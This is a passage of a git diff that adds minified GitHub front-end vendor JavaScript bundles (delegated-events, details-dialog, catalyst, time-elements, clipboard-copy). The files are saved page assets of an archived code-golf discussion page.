g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..f0a9ad6 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var Z=Object.defineProperty;var a=(z,_)=>Z(z,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51","node_modules_delegated-events_dist_index_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c50","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"],{59753:(z,_,D)=>{D.d(_,{f:()=>o,on:()=>G});function p(){if(!(this instanceof p))return new p;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}a(p,"SelectorSet");var v=window.document.documentElement,P=v.matches||v.webkitMatchesSelector||v.mozMatchesSelector||v.oMatchesSelector||v.msMatchesSelector;p.prototype.matchesSelector=function(e,n){return P.call(e,n)},p.prototype.querySelectorAll=function(e,n){return n.querySelectorAll(e)},p.prototype.indexes=[];var y=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"ID",selector:a(function(n){var r;if(r=n.match(y))return r[0].slice(1)},"matchIdSelector"),element:a(function(n){if(n.id)return[n.id]},"getElementId")});var C=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"CLASS",selector:a(function(n){var r;if(r=n.match(C))return r[0].slice(1)},"matchClassSelector"),element:a(function(n){var r=n.className;if(r){if(typeof r=="string")return r.split(/\s/);if(typeof r=="object"&&"baseVal"in r)return r.baseVal.split(/\s/)}},"getElementClassNames")});var x=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"TAG",selector:a(function(n){var r;if(r=n.match(x))return r[0].toUpperCase()},"matchTagSelector"),element:a(function(n){return[n.nodeName.toUpperCase()]},"getElementTagName")}),p.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return a(e,"Map"),e.prototype.get=function(n){return this.map[n+" "]},e.prototype.set=function(n,r){this.map[n+" "]=r},e}();var S=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function w(e,n){e=e.slice(0).concat(e.default);var r=e.length,i,s,c,u,d=n,l,h,f=[];do if(S.exec(""),(c=S.exec(d))&&(d=c[3],c[2]||!d)){for(i=0;i3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];u||(u=new p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return 